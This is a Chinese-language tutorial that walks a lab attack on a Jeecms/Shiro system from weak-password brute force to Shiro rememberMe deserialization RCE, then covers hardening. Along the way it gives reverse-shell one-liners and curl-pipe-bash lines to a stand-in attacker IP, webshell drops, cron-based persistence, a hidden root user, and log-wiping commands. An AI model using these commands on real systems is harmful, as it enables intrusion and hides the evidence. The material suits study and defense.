从弱口令到Shiro反序列化:Java CMS系统安全攻防实战解析

发布时间:2026/7/4 17:15:55

从弱口令到Shiro反序列化:Java CMS系统安全攻防实战解析 1. 项目概述与核心思路拆解最近在复现和整理一些经典CMS系统的安全案例Jeecms这个老牌Java内容管理系统又进入了我的视野。它集成了不少流行的Java组件比如Apache Shiro做权限控制这就意味着一旦存在配置问题攻击面会变得相当立体。这次实战模拟的目标就是从一个最常见的入口点——后台弱口令入手逐步深入最终利用Shiro的反序列化漏洞实现远程代码执行RCE。整个过程就像一次标准的“由外到内”的渗透测试非常适合用来理解Web应用特别是Java应用常见的安全链。为什么选择这个路径因为在实际的攻防对抗或安全评估中攻击者很少会只依赖一个“神奇”的漏洞。更常见的场景是“组合拳”先通过信息收集或简单漏洞如弱口令拿到一个初步的立足点比如后台管理权限然后在这个立足点上进行更深度的信息收集寻找更高危的漏洞如反序列化来扩大战果最终控制服务器。Jeecms这个案例完美地体现了这一点弱口令是“钥匙”打开了进入内院的大门而Shiro反序列化则是藏在院子里的“武器库”拿到武器后才能实现真正的突破。整个实战的核心思路可以概括为信息收集 - 弱口令爆破进入后台 - 寻找可利用的端点或功能 - 利用Shiro反序列化漏洞构造攻击载荷 - 获取WebShell或反弹Shell - 权限维持与清理。下面我们就沿着这条路径一步步拆解其中的技术细节、操作要点和那些容易踩坑的地方。2. 环境搭建与信息收集2.1 靶场环境准备为了不影响真实系统我们首先需要搭建一个实验环境。这里强烈推荐使用Vulhub或类似的一键式漏洞靶场。以Vulhub为例它提供了预置漏洞的Docker镜像省去了我们自己编译、部署老版本Jeecms的麻烦。操作步骤如下确保你的实验机可以是本地虚拟机或云服务器已经安装了Docker和Docker Compose。从GitHub克隆Vulhub项目到本地。进入vulhub/shiro/CVE-2016-4437目录这是经典的Shiro 550反序列化漏洞环境很多集成Shiro的老系统都受此影响。执行docker-compose up -d命令启动环境。稍等片刻一个包含漏洞的Shiro应用就会在8080端口运行起来。为了模拟Jeecms场景我们可能还需要一个具体的Jeecms漏洞环境。可以搜索网络上公开的Jeecms历史版本例如v9.x的Docker镜像或War包在Tomcat中部署。但请注意务必在隔离的虚拟网络或本地虚拟机中进行严禁用于任何非法测试。注意在获取和部署这些带有漏洞的旧版本软件时一定要从可信的、用于安全研究的源获取避免引入额外的恶意代码。最好的方式是使用Vulhub这类专门为安全研究维护的靶场。启动后访问http://your-ip:8080就能看到应用界面。第一步的信息收集工作就此开始。2.2 基础信息收集与指纹识别信息收集是渗透测试的基石目的是尽可能多地了解目标系统的技术栈、版本、目录结构等为后续攻击寻找突破口。1. 端口与服务扫描使用Nmap对目标IP进行扫描查看开放了哪些端口和服务。nmap -sV -sC -p- target_ip参数解释-sV探测服务版本-sC使用默认脚本进行更深入的探测-p-扫描所有65535个端口。通过扫描我们通常会发现80/8080Web服务、3306MySQL、22SSH等端口。对于Jeecms重点就是Web端口。2. Web应用指纹识别访问Web页面通过以下方式识别应用查看HTTP响应头使用浏览器开发者工具F12的Network标签查看服务器Server字段可能看到Apache Tomcat/8.5.xx等信息。查看页面源码在HTML注释、JS/CSS文件路径、错误页面中经常能找到框架名称、版本等线索。例如可能发现/jeecms/这样的路径。使用工具自动化识别比如Wappalyzer浏览器插件或者命令行工具whatweb。whatweb http://target_ip:8080尝试访问常见路径如/admin/,/login.jsp,/manager/htmlTomcat管理后台/jeecms/admin/index.do等。通过返回的页面或错误信息判断应用。3. 关键漏洞组件识别这是本案例的重点。我们需要确认目标是否使用了存在漏洞的Apache Shiro并且版本较低。手动触发在登录或任意请求中观察返回的HTTP响应头。如果存在Set-Cookie: rememberMedeleteMe;这几乎就是Shiro存在的铁证。因为rememberMe是Shiro用于“记住我”功能的Cookie名称。工具辅助使用shiro_attack、shiro-exploit等工具进行检测。这些工具会发送一个特殊的Payload来探测Shiro是否存在以及是否可被反序列化漏洞利用。# 示例使用shiro_attack进行检测 python3 shiro_attack.py http://target_ip:8080如果工具返回“存在Shiro默认密钥”或类似信息则说明目标存在Shiro 550漏洞。实操心得信息收集阶段一定要细致。有时候关键的rememberMeCookie可能只在登录请求的响应中返回而在首页访问时没有。因此对每一个可能的交互点登录、注销、API请求都应用Burp Suite等代理工具抓包查看响应头是个好习惯。3. 弱口令攻击打开第一道门3.1 弱口令成因与常见位置弱口令是安全中最常见也最容易被忽视的问题。在Jeecms这类系统中弱口令可能出现在后台管理员登录默认账号密码如admin/admin、admin/123456。Tomcat管理后台路径通常是/manager/html默认账号密码可能是tomcat/tomcat、admin/admin或者安装时设置的空密码/弱密码。数据库连接如果存在Druid等数据库连接池的监控页面如/druid/index.html其登录口令也可能很弱。其他功能模块如会员中心、内容投稿等前端登录入口。其成因无非是开发或运维人员安全意识不足使用了默认、简单或规律性密码系统初始化后未强制修改默认密码密码策略缺失等。3.2 爆破工具与字典选择手工尝试几个常见密码效率太低我们需要借助工具进行自动化爆破。1. 工具选择Burp Suite Intruder功能强大可定制化程度高是渗透测试人员的首选。通过抓取登录请求包设置密码变量加载字典进行爆破。Hydra命令行下的快速爆破工具支持多种协议。hydra -l admin -P /path/to/passwords.txt target_ip http-post-form /jeecms/admin/login.do:username^USER^password^PASS^:F登录失败专门的前端工具如AdminPenetrate等集成了常见后台路径和弱口令字典。2. 字典制作与选择字典的质量直接决定爆破成功率。不建议一开始就用上GB级别的大字典应该分层进行第一层超精简字典包含admin、123456、password、admin123、root、123123、公司名123、当前年份等不超过50个的最常见密码。用于快速试探。第二层常用弱口令字典例如网络上流传的top1000.txt、weak_passwords.txt等包含几万到几十万条记录。第三层定制化字典根据目标信息生成。例如如果知道公司名为“ABC”可以生成abc2024,Abc123!,ABCadmin等组合。也可以使用Crunch、Cewl等工具基于目标网站内容生成字典。重要提示爆破行为会对目标服务器造成负载且可能触发安全设备的告警如WAF、IDS。在授权测试中应选择非业务高峰时段并控制并发线程数。在非授权环境下任何爆破行为都是违法的。3.3 利用Burp Suite进行精准爆破这里以Burp Suite为例演示对Jeecms后台登录的爆破过程抓取登录包浏览器配置代理指向Burp在Jeecms后台登录页面如http://target_ip:8080/jeecms/admin/login.do输入任意账号密码如test/test点击登录Burp会截获这个POST请求。发送到Intruder在Burp的Proxy - HTTP history中找到这个请求右键选择Send to Intruder。设置攻击类型和变量进入Intruder标签的Positions子标签。Burp通常会自动标记一些参数我们点击Clear §清除所有标记然后手动选中密码参数的值如passwordtest中的test点击Add §将其标记为变量。攻击类型Attack type选择Sniper对单个变量进行遍历或Pitchfork如果你同时标记了用户名和密码且有两个对应的字典。配置Payload切换到Payloads子标签在Payload Options中加载我们准备好的密码字典文件。设置结果判断切换到Options子标签可以在Grep - Extract中添加一个特征字符串。例如在第一次错误登录的响应中找到“用户名或密码错误”这段文字将其添加到列表中。这样在爆破结果中如果响应包中不包含这段文字就可能是登录成功的标志当然也可能是“验证码错误”等其他提示需要具体分析。开始攻击点击右上角的Start attack。Intruder会使用字典中的每个密码替换变量并发送请求。我们观察返回结果的Length、Status以及是否包含我们设置的错误特征来快速定位可能成功的密码。踩坑记录很多系统在多次登录失败后会启用验证码或锁定账户。如果遇到这种情况爆破就会失效。此时需要进一步分析验证码绕过查看验证码是否在客户端生成或校验前端JS是否在一次会话中重复使用或者是否可以通过删除请求中的验证码参数、设置为空、使用万能验证码如0000等方式绕过。这需要分析登录流程的JS代码和多次请求的交互。账户锁定如果账户被锁定可能需要等待锁定时间结束或者寻找其他未锁定的账户如通过信息泄露得到的其他用户名。成功爆破出弱口令例如admin/admin123后我们就获得了Jeecms后台的管理权限。这标志着我们成功进入了系统的“内部”。4. Shiro反序列化漏洞原理与利用链构造进入后台只是第一步我们的目标是获取服务器权限。这时集成的Apache Shiro组件就成了一个绝佳的跳板。4.1 Shiro RememberMe反序列化漏洞CVE-2016-4437原理Shiro是一个Java安全框架提供了认证、授权、加密等功能。其“记住我”RememberMe功能非常方便用户登录一次后一段时间内再次访问无需重新登录。实现原理是用户成功登录后Shiro会将用户的身份信息Principal序列化成字节流。使用一个**固定的、默认的密钥AES加密**对这个字节流进行加密。将加密后的结果进行Base64编码设置为名为rememberMe的Cookie返回给浏览器。用户下次访问时浏览器会带上这个Cookie。Shiro收到后进行Base64解码、AES解密最后将字节流反序列化还原成用户对象从而实现自动登录。漏洞的核心在于两点默认密钥早期版本的Shiro使用了一个硬编码在代码中的默认加密密钥kPHbIxk5D2deZiIxcaaaA。如果开发人员没有在配置文件中主动修改这个密钥那么所有使用该框架的应用都使用相同的密钥。反序列化入口Shiro在解密Cookie数据后会直接对其执行Java反序列化操作。而Java反序列化本身是一个危险的操作如果反序列化的数据是攻击者精心构造的就可能触发远程代码执行。因此攻击者可以利用已知的默认密钥加密一个恶意的序列化对象包含执行系统命令的代码。将这个恶意加密数据作为rememberMeCookie的值发送给服务器。Shiro会用默认密钥解密然后反序列化这个恶意对象从而执行攻击者指定的命令。4.2 利用链与Payload生成仅仅有一个可反序列化的入口还不够还需要一个在目标应用类路径Classpath中存在的、能够被利用的“链”Gadget Chain。这条链由一系列类和方法组成它们像多米诺骨牌一样在反序列化过程中被依次调用最终达到执行任意代码的目的。对于Shiro漏洞最常用的利用链是基于CommonsCollections库的CC链。因为Shiro本身依赖了commons-collections这个非常常见的库。攻击工具会帮助我们自动生成利用CC链构造的Payload。利用过程检测漏洞与密钥使用工具如shiro_attack先检测目标是否存在漏洞并爆破出正确的AES加密密钥除了默认密钥工具也会尝试其他常见密钥。生成Payload确定密钥后我们需要生成一个执行命令的序列化对象。这个对象经过指定的AES密钥加密和Base64编码后就是最终的攻击Cookie值。命令执行最简单的Payload是执行系统命令如whoami、id、curl http://attacker_ip/shell.sh | bash等。回显Payload在Web场景下我们更希望命令执行的结果能直接显示在HTTP响应里这叫回显。高级的利用工具会集成多种回显方式适配不同中间件Tomcat, Jetty, WebLogic等。内存马注入这是更隐蔽和持久的方式。Payload不是在这次请求中执行完命令就结束而是在服务器的JVM内存中注入一个恶意的Servlet、Filter或Controller统称内存马。之后攻击者通过访问特定的URL路径就能随时执行命令无需再携带Shiro的Cookie。发起攻击将生成的Base64字符串作为rememberMeCookie的值在HTTP请求头中发送给目标服务器。实操示例使用工具假设我们使用一个集成的攻击工具命令可能如下java -jar shiro-exploit.jar http://target_ip:8080工具会提供一个交互界面让你选择攻击模式检测、命令执行、回显、注入内存马等输入目标URL和要执行的命令如touch /tmp/success然后自动完成Payload生成和发送。如果成功你会在工具界面看到命令执行成功的提示或者在目标服务器的/tmp目录下发现success文件。注意事项执行系统命令受限于当前Web应用运行的用户权限通常是tomcat或www-data等非root用户。可能无法读取某些敏感文件或进行高危操作。后续需要提权。5. 深度利用从RCE到权限维持成功通过Shiro反序列化执行系统命令RCE后我们相当于拿到了一个“命令执行窗口”但这个窗口可能不太稳定每次都要重新构造Payload也不够隐蔽。我们需要将其转化为更稳定、更隐蔽的持久化控制。5.1 获取交互式Shell直接执行单条命令如whoami是验证漏洞但要进行复杂的操作我们需要一个交互式的Shell。1. 反弹ShellReverse Shell这是最常用的方法。在攻击者自己的服务器上监听一个端口然后让目标服务器主动连接过来并将其输入输出重定向到这个网络连接上。攻击机监听nc -lvnp 4444目标机执行反弹命令通过Shiro漏洞执行如下命令需要根据目标系统环境调整Bash环境bash -c exec bash -i /dev/tcp/attack_ip/4444 1Pythonpython -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((attack_ip,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);其他语言Perl、PHP、Ruby等都有类似的一行命令。执行成功后攻击机的nc终端就会获得一个来自目标机的bash shell。2. 利用WebShell如果网络限制导致无法反弹连接例如目标服务器出网受限可以写入一个WebShell。写入JSP WebShell通过echo命令或下载方式在Web应用的目录下如webapps/ROOT/写入一个JSP文件。# 使用echo写入一个小马内容需URL编码或处理特殊字符较复杂 # 更可靠的方式是先在攻击机准备好webshell.jsp然后通过curl/wget下载 curl http://attack_ip/webshell.jsp -o /path/to/tomcat/webapps/ROOT/shell.jsp访问WebShell写入成功后访问http://target_ip:8080/shell.jsp?cmdid即可执行命令。WebShell更稳定但会留下文件痕迹容易被安全扫描发现。5.2 权限提升与横向移动拿到Shell后我们可能只是一个低权限用户。需要进一步提权Privilege Escalation和探索内网Lateral Movement。1. 信息收集Linux环境id,whoami查看当前用户和所属组。uname -a查看系统内核版本。cat /etc/passwd查看系统用户。ps aux查看运行进程寻找root权限运行的服务。sudo -l查看当前用户能以root身份执行哪些命令如果配置不当可能直接提权。find / -perm -4000 -type f 2/dev/null查找SUID权限的文件这些是经典的提权切入点。cat /etc/crontab查看定时任务可能有利用空间。ifconfig / ip addr查看网络信息发现内网网段。2. 常见提权方法内核漏洞提权根据uname -a的结果搜索对应的本地提权LPE漏洞EXP。例如著名的DirtyCow。使用searchsploit或互联网搜索。SUID提权如果找到具有SUID权限的非常规程序如find、vim、bash等并且当前用户可以控制其参数就可能提权。例如find /tmp -exec /bin/bash -p \;。环境变量劫持如果sudo允许运行某个程序并且该程序调用了其他命令而未使用绝对路径可以通过修改PATH环境变量来劫持。数据库提权如果Web应用以root连接数据库MySQL并且能执行SQL命令可以尝试利用MySQL的UDF提权或写入计划任务。3. 内网横向移动端口扫描使用上传的或内置的工具如nc、/dev/tcp技巧扫描内网其他主机的开放端口。for i in {1..254}; do timeout 1 bash -c echo /dev/tcp/192.168.1.$i/22 2/dev/null echo 192.168.1.$i:22 open; done密码嗅探与爆破尝试使用在Web服务器上找到的数据库密码、配置文件中的密码去连接内网的数据库、SSH、SMB等服务。利用漏洞扩散如果内网其他主机也存在类似Jeecms的漏洞可以尝试利用。5.3 权限维持与痕迹清理在取得一定控制权后需要考虑如何长期、隐蔽地维持访问权限并在必要时清理痕迹。1. 权限维持后门Web内存马如前所述这是非常隐蔽的方式。注入一个Filter型内存马只要Tomcat不重启后门就一直存在且没有文件落地。访问特定的URL即可触发命令执行。SSH公钥注入如果当前用户有~/.ssh/authorized_keys文件的写权限可以将攻击机的SSH公钥写入实现免密登录。创建隐藏用户在/etc/passwd中添加一个UID为0root的隐藏用户用户名以特殊字符或空格开头不易被cat直接显示。计划任务Cron添加一个每分钟或每几分钟连接一次攻击机的计划任务作为反向心跳。(crontab -l 2/dev/null; echo * * * * * bash -c exec bash -i /dev/tcp/attack_ip/5555 01) | crontab -2. 痕迹清理清除命令历史history -c或直接清空~/.bash_history文件。清除Web访问日志定位Tomcat的日志目录如logs/删除或篡改包含攻击IP的访问日志文件localhost_access_log.*.txt。清除系统日志清理/var/log/auth.log登录日志、/var/log/syslog等但这需要root权限且操作本身也会留下日志风险较高。重要警告在真实的渗透测试红队评估中痕迹清理需非常谨慎并严格遵守授权范围。过度清理可能触发安全告警。在非法入侵中清理痕迹是违法行为。6. 防御策略与安全加固建议作为防守方了解攻击路径后我们可以有针对性地进行加固。6.1 针对弱口令的防御强制修改默认密码系统首次安装后必须强制管理员修改默认密码。实施强密码策略密码长度至少12位。必须包含大小写字母、数字和特殊字符。定期如90天强制更换密码。禁止使用常见弱口令、公司名、用户名等易猜密码。启用密码历史记录防止重复使用旧密码。启用多因素认证MFA在后台登录、数据库管理界面等关键入口启用短信验证码、TOTP令牌或硬件Key等二次验证。限制登录尝试频率实现账户锁定机制连续输错密码5次后锁定账户15-30分钟并邮件通知管理员。禁用或加固默认管理入口如非必要禁用Tomcat的/manager/html管理页面。如果必须使用务必修改强密码并限制访问IP。6.2 针对Shiro反序列化漏洞的防御升级Shiro版本这是最根本的解决方案。将Apache Shiro升级到1.2.5及以上版本并确保版本1.2.6。新版本不仅修复了默认密钥问题还引入了密钥随机生成等机制。自定义加密密钥如果因兼容性问题无法立即升级必须在Shiro的配置文件如shiro.ini或spring-shiro.xml中手动设置一个复杂且唯一的cipherKey。# 在shiro.ini中 securityManager.rememberMeManager.cipherKey your_strong_and_random_base64_encoded_key_here密钥长度需符合AES要求如128位、256位并使用安全的随机数生成器生成。禁用RememberMe功能如果业务不需要“记住我”功能直接在配置中关闭它。securityManager.rememberMeManager null使用安全组件在Java反序列化时进行过滤。可以使用SerialKiller、Apache Commons IO Serialization过滤器等安全组件对反序列化的类进行白名单控制。更新依赖库确保项目依赖的commons-collections、commons-beanutils等常用库也升级到最新版本这些库后续版本修复了用于构造攻击链的类。6.3 整体安全架构建议最小权限原则运行Tomcat和Java应用的用户应使用专用的低权限账户如tomcat而非root。确保该用户对Web目录只有必要的最小写权限。网络隔离与访问控制将数据库、Redis等中间件部署在内网禁止公网直接访问。在防火墙或安全组上严格限制对服务器管理端口如SSH的22端口、Tomcat管理台的8080端口的访问源IP只允许运维IP段访问。使用WAFWeb应用防火墙防护常见的Web攻击如SQL注入、命令执行、反序列化等。定期安全评估对线上系统定期进行漏洞扫描和渗透测试主动发现类似弱口令、组件漏洞等问题。建立软件成分分析SCA流程持续监控项目依赖的第三方库如Shiro、Fastjson等是否有新的安全漏洞公布。日志审计与监控集中收集并监控Web访问日志、系统日志、安全设备日志。设置告警规则例如针对同一IP短时间内大量登录失败、访问反序列化相关端点、执行系统命令特征如bash -c、wget、curl到外部IP等异常行为进行实时告警。这套从弱口令到Shiro反序列化的攻防实战清晰地展示了一个看似简单的入口如何演变成严重的服务器沦陷事件。防守从来不是一个点的对抗而是一个体系的建设。对于开发和安全运维人员而言理解攻击者的每一步操作和意图是构建有效防御体系的前提。每次在代码中写下一个硬编码密码或者忽略一个依赖库的版本升级提示时都应该想到这可能就是那条被攻击者利用的“裂缝”。

相关新闻